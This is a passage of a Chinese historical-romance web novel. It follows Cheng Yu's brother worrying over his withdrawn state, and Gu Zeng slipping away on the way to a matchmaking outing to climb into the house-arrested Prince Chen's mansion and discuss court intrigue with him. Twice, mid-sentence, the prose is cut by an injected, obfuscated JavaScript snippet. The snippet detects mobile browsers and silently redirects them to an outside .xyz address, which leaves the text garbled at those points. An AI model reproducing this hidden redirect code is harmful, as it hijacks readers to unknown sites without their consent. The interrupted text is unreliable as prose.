青天白日下,他十指的温度仿佛被抽干殆尽,只冷硬地绞在一起,连呼吸都停滞于此。 四方阒寂,唯有蝉鸣,而身后,小小佛堂中的大慈大悲观世音仿佛诵了一声无声的佛号,千言万语尽数化在这不声不响的悲悯梵音中。 末了,程彣只好认输。 他叹了口气,将手落在程彧肩上:“是我不好,我不该提起此事。” 程彧收起出神的一双眼,失笑道:“当然是你不好!程怀瑾你自己听听你说的这是什么话,这合眼缘的哪是那么容易便能遇到的?” 他哽了一下,没把话继续说下去,只叹道,“若这样稀里糊涂便成了亲,你觉得对别人公平与否?” 程彣明白他说的都没错,可他就是不想见程彧这样下去,偏偏又怎么都劝解不了他,只得自嘲一笑:“你可知,我最后悔的事便是请陛下准你随我赴阆州。” 两年前,他奉皇帝密诏去西南办事,不小心被程彧知道了,傻小子便要死要活地缠着他,说什么也要同去。 皇帝耳根子也软,架不住他二人轮流吹耳旁风,遂命程彣在暗,程彧在明,共赴阆州。 程彧本来的任务是随白望农一起视察视察民情,游山玩水一番,程彣当时也误以为他这弟弟就是这么想的。 怎料两路人马分头行动的第二天,程彣就发现皇帝交给他的圣旨和虎符全丢了。 他这才反应过来,他这个宝贝弟弟本事大得很,不仅连皇帝的东西都敢偷,还不知从哪学会了隐藏行踪,溜得他和一众千牛卫找破了头也没找见。 直到听到贺向笛围剿十六洞的消息,程彣才匆匆自大散关赶来。人至阆州,却发现白望农大人死了,而程彧失踪了。 程彣想都不用想——这家伙不要命地上云雾山了。 那地方凶多吉少,程彣一刻不敢耽搁地追了上去。 等到一行人将程彧从蝴蝶谷捞出来时,先前还活蹦乱跳的二公子差点就六亲不认,神智浑浑噩噩,如同一具活尸,口中却一直不清不楚地念叨着什么。 程彣只能从他含混的呓语中分辨出一个陌生的名字,好像是个……小娘子? 他还从程彧身上搜出一张舆图,当机立断派了随行千牛卫去给宸王送了信,这才解了云雾山的燃眉之急。 思来想去,众人留在山上也帮不 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他焉能不知,其实这臭小子在西南的那些时日已经无可避免地沾染上了,几夕之间,仿佛就把他多年的谆谆教诲抛得一干二净,行事作风也愈发极端。 就譬如那次吧,若不是为了这位靖安郡主,他家这傻小子怎会如此苦心孤诣,就为了从陛下那里骗到“霜容千叶”这种灵药? 还为此……做到了那种地步。 简直是欺君罔上、荒唐至极! 若不是那日程彧哽咽着求他,程彣盛怒之下,甚至都不打算再认他这个丢人的弟弟。 哼,苦笑着说什么“怀瑾,你不明白……”;又说“她……她很可怜的”;还说“她的胳膊是为救我才断的,十几年了都没好利落……”;甚至还搬出一句“怀瑾,我这人是借命而活,万事由不得自己”。 便是拿准了,任凭他程怀瑾是何等铁石心肠之人,听到这种话也难免舌根发苦。 再加上程彧再三保证,不会再与这位靖安郡主有任何牵扯。 程彣沉默半响,终于叹气道:“程容与你不如去照镜子瞧瞧你现在的模样,笑得像哭,堪称天上地下第一丑。” 好在程彧说话算话,他向西北寄了那瓶香膏,附上了一封信,便再也没提过那个人,也再也没做过像那次一样的荒唐事了。 加冠之后,程二公子好似跨过了一个坎,一向顽劣不羁的他难得沉稳下来,感动得程家老太爷拜神拜佛、好生谢了一通列祖列宗。 可是程彣能看出,他不是变得懂事,他只是将自己封闭,变得逐渐拒人于千里之外,甚至包括自己这个曾经与他亲密无间的兄长。 万事于他程容与来说不过清风一盏,并不值得他多看两眼,更不值得他赋予什么真心。 简而言之就四个字——丧魂落魄。 程彣早就看不下去了,今日本想借机试探,没曾想他这没出息的弟弟竟是病入膏肓,光是想到那位靖安郡主就能要他半条命。 程彣怒其不争,可更多的是悔愧交织。 若是当初不带他去阆州,不给他一丝缥缈的执念,他兴许能比现在无忧无虑得多。 程彧见他垂头丧气的模样,哈哈大笑,十分没有良心:“今儿是什么日子,太阳打西边出来了?我竟能看到天之骄子程大这长吁短叹的模样?” 谈笑间,他将手落在程彣的小臂上,另一只手则蜷曲地落在眼睫处,遮住了洒在脸上的和煦日光。 也不知他忆起了什么,只瞧他稍稍牵了牵嘴角,笑意几近温柔。 程彣将手覆在他发颤的手背,轻声道:“你放心,以后我再也不提了。” “谢了——”程彧大笑,霍地起身,似是心情不错。 他于日光下抻了个懒腰,忽然转身对观音菩萨合手一拜。 清风拂面,墨发白袍翻飞,衬得他几近妖冶。 程彣见了,不由自主抬了抬唇角:“你不是不信神佛么,今日却拜了什么?” 程彧睁眼一笑:“我实在不想娶那个关风遥,所以求菩萨让我今日就遇到个心仪的小娘子。” 他晃着阔步,摇摇摆摆向外走,右手倏地冲程彣打了个响指,并未回头。 “哥,你先去,咱们兴庆宫毬场见。” 37.空自愁(三) 顾曾正跟林霜练刀练在兴头上,却被勒令坐在镜前梳妆,顿时便后悔答应去相看什么郎君了。 也不知是不是打仗时瞪人的次数太多,她面无表情时,五官的棱角已堪称锐利,凸显姿容的丰颐红妆落在她这里倒有几分违和的杀气腾腾。 好在关夫人深谙容色之道,朽木上也能雕花——何况在她眼中,顾小娘子可不是什么朽木,而是块未经雕琢的美玉。 经她巧手,不多时,再看镜中人,已是一身素雅的青色,乌发云鬓、杏眼薄唇,如青天中的一轮皎皎月。 梳头侍女却在此时犯了难,挑选半天才往顾曾头上簪了一支步摇,总觉得还该再点缀些别的,但关夫人送来的这些首饰太过华美,总觉得和顾娘子不太相称。 顾曾也不知哪根筋搭错了,鬼使神差从袖袋里变出了两颗小巧的琉璃花钿:“这位妹妹,帮我戴上可好?” 小侍女依言做了,观摩了晌久才脆生生一笑:“好别致的花钿,夫人快来瞧瞧。” 关夫人闻言走近,捂嘴一惊:“这手艺这倒像龟兹那边的东西,瞧这琉璃下的两颗紫玉宝珠如此流光溢彩,真是罕见,顾小娘子从哪得的这种好东西?” 顾曾顿了顿:“捡的。” “捡的?”关夫人讶异不浅,但细思之下,此女一直身居渭城,偶然间捡到龟兹商人掉落的珠钏也并非全然不可能。 这花钿虽然小,却怎么看怎么珍稀,她暗自叹气,这不懂行的小丫头运气实在太好。 顾曾并非存心戏谑,那日在羌寨打完一场恶仗后,她发誓这辈子再也不要去当什么神女,为了让羌人死心,她便让他们将孝敬给她的那些银饰全部拿走。 众羌人不敢忤逆,悻悻将各自的传家宝收回,到最后就只剩这花钿没人要。 他们非说这是老天赏赐给神女大人的,说什么也要顾曾自己收着,她就只好带着这俩玩意回了渭城,自那之后一次都没戴过。 不是顾曾不想戴,人皆有爱美之心,何况她也正值青春年少。只是在渭城时,人整日埋在沙子里,再好的东西给她都是作践,如今总算有了一次让首饰重见天日的机会,她自觉该牢牢把握住。 此时对镜看了看,确实挺别致的,也不知是谁偷偷塞给她的,还挺会挑。 关夫人又亲自动手给她点缀了一番,教了她几条礼节,这才送她上犊车,随后倚着院墙打着扇,对林霜笑道:“表甥女你可看到了,顾小娘子霞月风姿,好生妆点一番,简直焕然一新。若真是一直同你在渭城受罪,再好的容色早晚也要磨没,如何,不生姨母的气了罢?” 林霜没应声,静静望着顾曾出门,忽然有种送女儿出嫁的怅然。 顾曾上犊车时,关风遥已候了她许久了,默然掀了她一眼,不情不愿地腾了个位置。 绛帘低覆,犊车辚辚向前。一路上,关风遥都沉默地绞着手帕,稚气未脱的脸上始终心事重重,两个随行的小侍女也都死气沉沉。 不多时,犊车路过了一处巍峨尽显的府邸。 此处朱墙碧瓦、灿然生辉,丹赤大门高耸威武,满面围墙上挂满了繁密的花藤。若是春天,想必整座墙都能布满花瓣。 这里虽地处闹市,却僻静无人,即便偶有车马经过,也皆不驻足停留,生怕惹上什么麻烦。 顾曾称奇,正要开口询问,却见前方转角处拐来了一队携弓持戟的金吾卫,登时会意:有这群凶神恶煞的家伙绕着转,哪会有平民老百姓闲得没事在此处瞎晃悠? 忖及此处,她心间一动,便听婢女紫萝低声叹了口气:“婢子每次路过宸王府都要被吓出一身冷汗。” 另一个婢女浣纱给关风遥打着扇,小声应和道:“可不是嘛,也不知陛下何时能放宸王殿下出来,都快两年了,也没人见过这位殿下的面。听说他面若夜叉、狰狞可怖,所以直到现在都不曾娶亲。” 扯淡,我们小姜旬乃是折桂摘星之姿,究竟是何人传出的这种谣言? 不过姜祐珣一贯不争不抢,她也没替他多解释,只面沉如霜地瞪了浣纱一眼,吓得人家小姑娘险些把扇子丢了。 关风遥对两位侍女的话视若罔闻,乌圆的瞳仁黯淡无波,仍是痴愣愣地看向车外。 终于,在路过一家医馆时,她有反应了! 只见关小娘子双眼倏然一亮,语气又急又喜:“周姐姐!” 顾曾险些被她一嗓门把耳朵震破。 关风遥本来已经探出半支藕臂想要车夫停车,眼珠一转瞥到一旁的顾曾,撅了噘嘴,竟不声不响地把浮于脸上的喜悦又给咽了回去。 紫萝察言观色,跟着劝道:“娘子,周大人想必也有要事在身,不便同娘子多谈,德翎郡主那边才是要紧事,还是先赶去兴庆宫为好。” “也是。”关风遥神色怅然地坐好,“阿娘不喜欢我和周姐姐往来。” 顾曾好奇一瞥,可见医馆前立着一纤细背影,身着低阶官服,想必就是关风遥口中的“周姐姐”,紫萝口中的“周大人”。 关风遥一看便是高自标置的大家闺秀,却对此人甚是亲昵,甚至不顾关夫人的反对也要与之交好,想来这位周大人并非寻常缝掖之士。 犊车转瞬间驶出了老远,关小娘子仍旧不死心地挑开窗帷,不住地回头望去,满心满眼都是依依不舍。 顾曾今日心情还是不错的,再加上有点小私心,决定帮她一把,于是喊了一声“停车”。 她明明喊得气势十足,车夫居然不应,顾将军老脸一红——这要是她的手下就得挨板子了。 她飞身钻出车外,亲自动手揪住缰绳,手上一使劲,缰绳勒得那温顺的黄牛重重地打了个响鼻。 “这位娘子,休要胡来!”车夫甚至来不及反抗,便听犊车车辕处“吱呀”一声,连牛带车已戛然止在了路中央。 关风遥急忙戴上帷帽钻出犊车,喝道:“喂,你……你要做什么?” 透过纱帷仍可见她面有怒色,顾曾甩了甩手,跳下犊车:“我去逛逛,关娘子在兴庆宫门口等我吧。” “慢着,你去哪?”关风遥急得直跺脚。 “乱逛。”顾曾对她挥手,又怕她没会意,说道,“我可能要一个时辰才能逛完,关娘子若有想做之事,这期间也尽管去做。倘若误了马毬赛的时辰,那也是因为路上等我耽误了太多时间,与你无关。” 关风遥面上一红,手中将帕子绞得死死的:这是被她瞧出自己的小心思了? 她突然觉得这位粗鄙又无法无天的顾娘子的身上有一种很独特的气质——那是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15572408|165471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 种自如的潇洒,却没有拒人千里之外的冷傲,反倒叫她心里暖烘烘的。 话本里是不是管这种人叫“侠客”? 关风遥只恍惚了一瞬,忙吩咐道:“浣纱,你快跟上顾娘子,把她叫回来。” 顾曾摆手笑道:“不必了,关小娘子若是再犹豫,晚上见到关夫人,我可要好好同她嚼一嚼舌根了。” “你……”关风遥涨红了脸,心绪犹在不定之时,顾曾已经抬步走远了。 紫萝道:“娘子,顾娘子是渭城那种地方来的,想必饱经风霜,再说京城如此繁华,她不会出事的。兴庆宫也不难找,她随意找个人打听便能来,我们何必再管她?” 浣纱也道:“就是的娘子,奴婢跟着顾娘子想必也会遭她嫌弃。”她忽地扬手,“诶,娘子你看,周大人好像要走了。” 听到人要走,关风遥便不打算管顾曾的死活了。 此时她横生出了一股勇气,不管不顾跳下犊车,扬声喊道:“周姐姐,请留步!” ** 夏日,未时末,日光正盛,顾曾回到宸王府门口时,巡逻的金吾卫正好转过金光璀璨的大门。 传言果然不虚,皇帝铁了心要把宸王软禁于府中,几队金吾卫看管甚严、一刻不停,看来是不大可能堂堂正正从门进了。 左思右想,顾曾决定拿出她的看家本领——翻墙。 她此刻的行为用鬼鬼祟祟来形容也不为过,但见她提防着侍卫,寻到了两队错开的时间,将丝帛往腰间一系,几步便轻巧地攀上了院墙旁的一株榕树。 榕树高大,枝叶茂盛,清风袭来,偶有几缕阳光透过罅隙落在树干上,开出一颗颗圆圆的小太阳花。 好在她今日所着一身梅子青,掩映在绿叶中并不显眼,而金吾卫打死也想不到会有人胆大包天到这种地步,竟在他们的眼皮子底下偷闯宸王府。 宸王府的院墙极高,顾曾一直爬到接近第二层分叉才勉强可以够到墙沿,朝府内瞄了一眼。 一派死气沉沉。 看来皇帝还没有丧心病狂到在宸王府里面安插人手来监视姜祐珣。 她决心要做的事从不犹豫,至于爬上之后如何下去,便秉着车到山前必有路、柳暗花明又一村的想法不去管了。 趁守又一轮守卫交错的空档,她身形一掠,轻灵如燕地探出身去。 谁料头皮猛地一刺——发髻太高,一缕碎发不合时宜地被榕枝勾住,差点把她疼出泪来。 顾曾同枝叶较劲时,听得“叮叮当当”几声,似是什么随身小物在这当口掉了出来,暗骂了一句“倒霉”,好不容易扯脱发丝,却见一队金吾卫即将转过街角。 树冠摇个不停,分外扎眼。 她顾不得去捡落下的东西,脚尖点檐翻入,一气呵成地将自己反手挂在了宸王府的院墙上。 心跳好一阵隆隆作响,仿佛呼之欲出,这偷偷摸摸的感觉比第一次上战场还刺激。 听着院外的金吾卫渐渐靠近又渐渐远去的脚步声,顾曾这才稍稍松下一口气,尚未及回神,但听不远处一道声音冷冷响起:“何人在此放肆!” 来人的脚步声仅在咫尺之遥,顾曾喉头一动,还未开口,颈间却是一寒——一柄长剑已经不讲情面地架在了她面前。 38.空自愁(四) 姜祐珣一身月白襕衫立于三步开外,眸中无波,只藏着一股深不见底的杀意。 他出现在此处的时机太巧,顾曾总觉得他其实是在等人,不过没等来自己想见的,却等来了她这个不速之客。 她怕自己一说话就被一剑封喉,干脆只默默递去了一个求饶的眼神。 身侧有一汪清泉,姜祐珣默不作声地看着她,四下只闻得流水潺潺。 他打量着面前这个莫名眼熟的女刺客几眼,波澜不惊的脸上终于错愕一瞬——怎么是……这不听话的家伙?! 这才长剑还鞘,哭笑不得:“小鬼头,你胆子也太大了些。” 顾曾跳下府墙,脚下一阵趔趄,就势半跪在地给他请安:“参见殿下。” 她今日是小娘子的打扮,衣衫透薄,还有一截细腻如脂的胳膊露在外面。 姜祐珣本想扶她的,但第一次惊觉她已不是当年那个莽撞又雌雄难辨的小女孩。 明明是在自己府中,他竟无所适从了起来,不慌不忙地把眼神移开,语气却生涩又拘谨:“你快起来,此处只你我二人,不必多礼。” 顾曾起身掸了掸衣裙,笑得一点也不见外:“你怎么一人在此,是特意在等我么?” “这话好像该我问你。”姜祐珣招呼她往茶室走,“此处清幽,日昃时分我都会在此读书,哪知今日倒撞上了个图谋不轨的‘宵小’。说说罢,为何来京城了,几时到的?” 顾曾笑道:“昨日刚随阿姐入京,今日本该随关家娘子去看马毬,但我实在放心不下,便斗胆来看看你。” 她拿姜祐珣当自己人,也顺带着拿他的府邸当成自己家,便双腿一盘,趺坐在艾草蒲团上,看着金枝玉叶的宸王殿下给她沏茶,没有一点要自己动手的意思。 日头甚好,她眯起眼打量起宸王府,见此处景致虽雅,却着实冷清,连个侍奉的人都寻不见,说道:“姜旬,早在渭城就听闻陛下处处为难你,想不到幽禁府中之事竟也是真的,日子不好过吧?” 据她听到的小道消息来看,扶苍军这两年不比铸光好到哪去——主帅不在,众将士偃旗息鼓的同时没少受西域那帮吃里扒外的孙子的气。 她时常想,若是这两年姜祐珣在雍州就好了,说不定今年就有望收复当年被夺走瓜分的失地。错失了这等良机,给了西域人喘息的余地,再有下次便不知是猴年马月了。 唉,建功立业什么的,果然都是命。 姜祐珣倒是宠辱不惊,淡淡笑道:“我好得很,陛下只是为难,又没真把我怎么样,倒是听说傅将军和铸光军临渊而行、如履薄冰。” 顾曾哈哈大笑,没料到他二人这么久不见面,一见面却是在比谁才是大昭第一凄惨。 不过能有功夫关心别人,只能说明还有力气苟活,一时半会还死不了,无需别人操那么多闲心。 “是,是不好过。”她实诚地点点头,“小姑宵衣旰食仍觉捉襟见肘,如今既见你安好,我和阿姐便当早日回渭城,只留小姑一个人在家,我这心里着实过意不去。” 姜祐珣像是听到了什么天方夜谭,讶异道:“你此次来不是陛下传唤么?” 提起这事顾曾就一肚子气,忿忿咽下一口姜祐珣送到她手边的温茶,应道:“我和阿姐又不是你,不是什么有名有姓的大人物,哪里值得陛下亲自下旨召见?鸿胪寺少卿的夫人是阿姐的表亲,她将我二人骗来京城,要给阿姐说亲。” “……” 姜祐珣明显是想笑的,可又怕冒犯林霜,便端着一副正经又滑稽的神态,“林将军啊……我可想不出京城里能有谁能配得上她。” “可不是么?我自然也是这么觉得的。”顾曾努努嘴,“可那位表姨母大抵是觉得阿姐年纪太大,怕别人相不中,便叫我代阿姐去。” “……?!”姜祐珣猛地咳了一声,连瞳仁都跟着颤了两下。 傅昙将军当初把她托付给他父王时,交代的话里可没包括要给她相看郎君、备嫁妆这种事,姜祐珣做不来、也从来没想过,更何况还是在如今这种不可妄动的微妙时刻。 没心没肺的顾曾摆了摆手,没当回事:“去就去呗,叫人看两眼又不会少块肉,应付完了我和阿姐就麻利地回渭城给傅将军当牛做马去。” 她顺口说的,姜祐珣却真听进去了,抵着额头垂眸思忖了许久,冷不丁抬起一双深邃的眼,仿佛布了层冷飕飕的寒气:“关夫人要给你相看哪位郎君?” 顾曾虽然面上轻描淡写,但毕竟早该到了堪透情事的年纪,提起此事还是有些羞惭之心的。况且她今天打扮得花枝招展的,可不就是为了去见人家? 唉,真是丢人。 想到这些,她支支吾吾半天才说道:“唔……好像是个叫唐鸿雪的千牛备身。” “唐大人啊,”姜祐珣淡淡一笑,“他于你我可有救命之恩,想不到与关家还有这层关系在。” 这下轮到顾曾蓦然瞪大了眼:“何时救的?” 她可从来不欠人情,若此人真是对自己有救命之恩,那可要好好报答。 可若是他要自己以身相许怎么办? 顾曾沉吟片刻——那就让他想着吧,这恩不报也罢。 兹事体大,姜祐珣没答话,依旧在沉思。萧萧竹叶透过雕花槛窗,碎成一地杂乱的阴影。汤沸了,新沏的清茶落在案上,在二人之间横了层袅袅雾气。 顾曾再看他时,却见他勾着一抹轻软如烟的笑,眸中的墨意随着眼尾的笑意静静化开,也不知是想到了什么好笑的事。她不禁问道:“姜旬,在想什么?” “噢,只是在想——”姜祐珣语气轻快了不少,没头没尾来了句,“某些人大抵要不高兴了,可惜我没法在场,瞧不着如此有趣的事情。” 顾曾提起眉梢,有些不悦地心想:“怎么连姜旬说话都开始打谜语了?这京城是有什么能把人变成没心肝的老狐狸的诅咒在吗?” 姜祐珣瞧见她皱眉,自知说错了话,咳了一声:“来京城后,可去什么地方玩了?” 刚问完他就觉得这话题转得着实生硬,她昨日刚来,今日下午就翻他府中墙头,哪有时间去别的地方? 果然,顾曾乜乜望来,看得矜贵的宸王殿下浑身不自在。 好在这两年他的脸皮也见厚,便又咳了一声,强行把话说完:“回去的事先不急,你是第一次来京城,好好转转再走。” 顾曾掀了他一眼:“好,就是转完回去怕是要被傅大将军打死。” “少胡说。”姜祐珣短促一笑,笑罢,语气却急转直下,顿时沉重起来,“阿曾,你和林将军对于铸光军何等重要,这不用我多说吧。你二人以私人名义入京,陛下可派人询问察看?” 他这下说到了顾曾最想不通的点上,她不由得身躯一紧:“不曾……可、可毕竟是关家和林家的私事。” 姜祐珣笑了笑:“你和林将军住在关家后院,关大人会全然不知么?关夫人也许不知你二人身份,但关大人混迹官场多年,明哲保身、极为谨慎,难道不会详查府中的客人么?” 话点到此处,顾曾已经不需要他再多说下去了。 她先前也觉得奇怪,乾安帝向来对手握兵权的将军极为忌惮,恨不得要众将时时上报行踪才罢休。 她和林霜虽不像傅岚那般重要,但也不是无名小卒,却一路顺风顺水地过关而来,并未受到任何盘查。 此事着实刻意,简直就像是大门敞开只为迎接她二人而来,简直就像是瓮中捉鳖…… 呸!她和阿姐才不是鳖。 顾曾斟酌着道:“殿下觉得是陛下指使关大人将我二人召来的?” 她一旦认真起来就会称他为“殿下”,姜祐珣见她不住手中摩挲着杯缘,便知她当真紧张 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15586437|165471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了起来。 顾曾对乾安帝这个不怎么老的老皇帝一向没什么敬畏之心,自然的,她也不认为乾安帝能对她有何怜悯,此番费尽心机将她骗来,怕是要清算旧账。 她大概是不怕死的,但很怕危及旁人。 当下哽了哽喉咙,涩声道:“殿下,此事会不会连累你?” 姜祐珣怔了一瞬,笑道:“不会。” 他扬手想拍拍她的肩,示意她先安心,却突然意识到自己此举堪称冒犯,又默默地将手收回,而深陷旧日梦魇的顾曾却依旧如惊弓之鸟般从蒲团上弹起,急道:“不成,我和阿姐还是得赶紧走。” 姜祐珣看到她额头上密密麻麻的冷汗,方才意识到她的惊惧,那一刹竟有一瞬的恍然——他何曾见她怕过? 但细想之下,是了,当初她是亲眼见到傅将军被逼自刎的,对那远在千里之外却能定人生死的皇帝蔫能不惧? 这般恐惧又经过十几年的蛰伏和酝酿,已然慢慢充据她本来天不怕地不怕的心。 可叹的是,她甚至没见过乾安帝的面。 “阿曾,冷静。”姜祐珣起身,居高临下地看着她,目光如同一座不声不响的大山,“此事没有你想得那般严重。” 顾曾不知不觉被他的沉静传染,往干燥的口中灌了一口茶,思忖着道:“小姑姑确实不对劲,临走前她对我和阿姐千叮咛万嘱咐,还叫我有事就找你帮忙,你说……她是不是早就知道此行不简单?” 姜祐珣笑着颔首:“傅将军身负‘罪臣至亲’之名,却能在分崩离析之时以己之力扛起了整个铸光军,运筹帷幄、洞若观火,岂会看不出陛下这些手段?” 果然……顾曾有些失落,她这些年和傅岚接触太少,从未想过她小姑能是何种深谋远虑、手腕超凡之人,还总道她也就是个上了年纪的自己。 她幽幽叹了口气,心中明白,其实不过是小姑把她保护得太好罢了。 她猜傅岚也有过犹豫,可若是不让她和林霜来京城走这一遭,那便真是把“心存异心”四个字明晃晃地烙在了铸光军脸上。 如今姜祐珣与郭侯的事情犹未有定论,若铸光军再出事,天下就这样乱了,这责任谁来担? 那必然还是傅岚这个上将军、抑或是整个西北将士来担。 “阿曾你且放心,”姜祐珣淡淡一笑,“傅将军既让你来寻我,那便是信我,我岂会辜负她这份信任?如今陛下的意思尚不明朗,但他定不只为取你性命,否则早在路上便做了,不会容你到京城。 “你如今初至,不必背负那么多包袱,也不必一味藏拙,想做什么便大胆去做。‘宸王殿下’虽然足不能出户,但保护一个人的能力还是有的。” 顾曾眸间波动地看着他,被他这清寂和缓的气质全然牵引住了——这就是大昭如今的第一良将么? 不同于她爹的桀骜不驯,他身上有种远超于年纪的沉稳,如同青灯下一尊金衣斑驳的古佛,又如同一把其貌不扬的宝剑,只有拨去蒙尘,才能展现其下锋芒。 她忽然明白自己还有很远很远的路要走。 晌久,顾曾蹙起的眉眼渐渐舒展开来,露出一扇“拨开云雾终见月明”的笑容。 “得了吧你小殿下,”她侧过头轻嗤一声,眼尾高扬,“依我看,你最后得靠我救你出宸王府,小姑派我来也肯定是这个意思,我们铸光才不需要你们扶苍军的帮扶呢。” 姜祐珣无奈苦笑——两年不见,这小鬼头怎么变得越来越目中无人了? 不过他转念一想,对于死气沉沉的京城来说,也许这份独一无二的锋锐真能把潜伏在池底的大鱼翻到水面上呢。 是福是祸,谁知道呢? 他还不由自主地牵了牵唇角,细细一想,陛下这么做也不全然是一点好处都没有,她来了,至少能让某人吃吃瘪,好好磨一磨他那无处安放的狂傲。 39.空自愁(五) 二人又坐在廊庑下谈了许久,侃天说地,但更多的还是聊着西境的军务和京城的政局。 有道是“知己知彼,百战百胜”,姜祐珣可不想让顾曾对即将面对的一切一无所知,仔细地讲了大半个时辰。 除了说书,顾曾其实最不爱听人念叨或是闲聊,这次倒难得安静地听着,愈听愈发心惊。 她这才知道郭侯的势力有多盘根错节,上至三省、下到五监,皆被渗透。 也难怪两年过去,乾安帝始终没有就他谋划戕害亲王之事做出处罚。 “内忧不除,外患难敌。”姜祐珣眼中的寒气凝成了一线,戾气渐聚成杀气,可想到身侧还有个以己为友的追随者,这片刻的真情流露又很快散开来,被又一壶煮沸的茶汤给巧妙地遮掩过去。 他复而语气温和,宽慰道:“有些事是需要慢慢来的,我已着手去做,你们不必过分忧心。信不过别人,你总该信得过我。” 顾曾总有种他也是在强撑着的口是心非,说到底,靠谁不靠谁的,他们都是一条绳上的蚂蚱,一荣俱荣、一损俱损。 “信信信,你小姜旬自然是世上最可信之人!”她笑道,“只是一想到这两年你都被关在府中一隅之地,忙活这些没什么用的内斗,我就总是忍不住想…… 她突如其来叹了口落寞的气,“你说,我们这辈子还能看到西境收复的那一天么?” 失地丢了太久,民心也会随之改变。 对于边境流民来说,只要能让他们吃饱穿暖活下来,任谁做主又有什么干系? 这世道,谁不想安安稳稳过日子呢,谁想受战争屠戮呢? 等再过几十年,故人都死光了,西境那些大昭的昔日子民想必会自认归属西域,倒戈与故国相向。 这问题太沉重,姜祐珣并不打算接,只莞尔道:“不过是关了两年禁闭而已,我权当陛下体贴我久历戎行,有心让我歇整。” 有时他也说不清哪种生活才是好,西北天地广袤,可满是刀光剑影,京城倒是万事安逸,可又不得半分自由。 也许人就是不能两者皆要罢。 姜祐珣道:“比起我自己,我反倒挂念郭翩,如今西北大小事务都要靠他定夺,着实辛苦。” 想到没什么心眼的郭将军抓耳挠腮制定战略的模样,顾曾就忍不住笑道:“他经此历练可堪大任,以后怕不能再屈居在扶苍军给你做个副将了,你就偷着乐,好好珍惜这段还能拿他当牲口使唤的日子吧。云戈呢,可有他的消息?” “啊,说起这个……”姜祐珣眉梢一扬,露出一道神秘的微笑,“我派给他们两个一件事,算算日子,事情想必不出三个月就该成了,届时他二人便会启程回京,或许你和云戈还可以一起在京城过个年。” 许久不见云戈那孩子,顾曾倒真想看看他如今的模样,心中自是欢喜,喜极过后又生出一丝扫兴的悲切,只自嘲一笑:“留在京城过年?我简直不敢想,这辈子哪享过这么久的福啊。” 姜祐珣闻言大笑:“那你这次可要在关家好好享受够了,以后怕是轻易没这种机会。” 顾曾几不可闻的“嗯”了一声,呼吸随之一凝,停在了某处,晌久,冷不防问道:“你说,我还能活着回去么?” 她曾经也有自认“所向披靡”的轻狂,可待到年岁见长,又脱离了林霜独自整军两年,早就被打磨得心如明镜,也逐渐认清,她不过也就是个不经摔打的普通人。 论斤两,京城里随意拎出个官都比她来得重,实打实斗起心计来,她估计更是第一个玩完的,如今所能做的不过就是竭尽全力相信姜祐珣这个泥菩萨,希望在陷入泥淖前能翻出点什么不落世俗的小水花来。 这点小水花,足够她乘着一叶扁舟回家么? 姜祐珣沉沉看着她,竟含几分悲悯,几不可闻地叹了口气:“……能,我保证你能。” “行。”顾曾知道他在骗她,神色仍是微霁,浅声一笑,“你说能那肯定能。” 二人对坐听泉,沉默了下来,心里都带着对未知的茫然——说恐惧倒也不至于,只是不怎么好受。 少顷,姜祐珣看了眼渐暗的天色,思绪一转,眉心霎时如被一道闪电击过,“轰”的一下变了色:“你方才是不是说要去看打马毬?是去何处?” 顾曾没什么精神,漫不经心道:“关家夫人提到过一嘴,好像是在什么兴庆宫,大昭的官家子弟对阵西域使团,没意思。” “坏了……”姜祐珣腾地起身,以手抵额、来回踱步,边走边念叨,“谈的时间太久,竟叫你误了时辰。” 见他如此头疼,顾曾还真以为是什么了不得的大事: “一场马毬赛而已,哪有咱们宸王殿下重要?” “不不,真比我重要。”姜祐珣脱口而出,“咳……我是说,此宴定是贵朋云集,陛下必然派了人来盯你,你若不去,他想必要起疑心,还是快些去吧。” 他说罢便起身向外走,对顾曾做了个“请”的姿势,面露懊恼之色。 是他一时疏忽,竟因为闲谈而误了她观赛的时辰,若叫某些人知道了,怕是要当场和他断交。 “……”顾曾欲言又止,没着没落的心里方存下一点缥缈的安心,却没料到她如此信任的宸王殿下竟然开始逐客了! 姜祐珣也不知怎么了,堪称心急如焚,急到亲自动手搬了架木梯子,倚放在墙边,再次“请”她识相点快走,附赠心虚一笑:“好啦——你我相聚又不总是在今日,但兴庆宫的宴会你可要赴约,不然我敢断言你会后悔。若几时再想来见我,宸王府的院墙随时欢迎顾将军来爬。” “叫你笑话我,下次我再也不来,你就在家对镜自酌吧。”顾曾恨恨甩他个愤然的眼神,转身爬上梯子。 姜祐珣坐到廊庑下,执起一本摊开的书,眉目复归清和,笑道:“来不来的看你心情,只谨记万事不必循规蹈矩,是时候叫他们瞧瞧咱们西境军的风采。你在前且自安心,宸王府始终会在你身后佑你安虞。” 顾曾没回头,心底却不由得失笑:这人呐,果然一当家就会变得爱操心,连宸王殿下也和她小姑一样,唠叨起来就像街边喋喋不休的张婆李婆。 她摆摆手:“多谢宸王殿下,小女告退。” 谈笑间,她悄悄将头探出院墙,瞅准机会,不动声色地跃回树上,再顺着原路而下。 待她神色从容地走到街角时,巡逻的金吾卫才将将走近,全然未留意到有人刚刚大喇喇地离开了宸王府。 事情进展很顺利,顾曾却总觉得好像忘记了什么事情,不过一时想不起来,想必不是什么顶顶要紧的大事,索性便抛之脑后了。 